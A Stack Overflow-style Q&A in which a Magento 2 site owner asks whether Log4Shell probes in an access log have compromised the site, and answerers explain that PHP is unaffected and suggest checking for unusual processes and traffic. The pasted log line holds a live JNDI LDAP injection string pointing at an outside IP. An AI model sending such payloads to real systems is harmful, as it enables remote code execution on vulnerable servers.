1

My application in magento2. I checked my access log. Multiple entries are as follows in the access log. I am not sure whether log4j was injected on my code or not because every request is 302. Please look into the following example of my access log.

"GET /?q=%24%7Bjndi%3Aldap%3A%2F%2F167.99.115.242%3A1389%2FBinary%7D HTTP/1.1" 302 275 "${jndi:ldap://167.99.115.242:1389/Binary}" "${jndi:ldap://167.99.115.242:1389/Binary}

0

1 Answer 1

3

Magento 2 is a PHP framework. Log4j is a (vulnerable) Java dependency. As PHP does not include any Java dependencies, you are not exploited by this try of an attack.

2
  • If my site is not affected by attacks then why daily lots of requests to my server. Some showing under ssl_accesslog, some under ssl_requestlog and so on
    – khush gill
    Dec 20, 2021 at 20:21
  • 2
    people just try to randomly attack anything that is out there. It is cheaper to attack everything than first checking out who might be vulnerable and only attack those. In any case, the security of your application should not rely on an answer on stackoverflow from someone you don't know. Check your dependencies and check your systems for unexpected behaviour like new executed processes and additional network traffic.
    – Simulant
    Dec 20, 2021 at 20:25

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.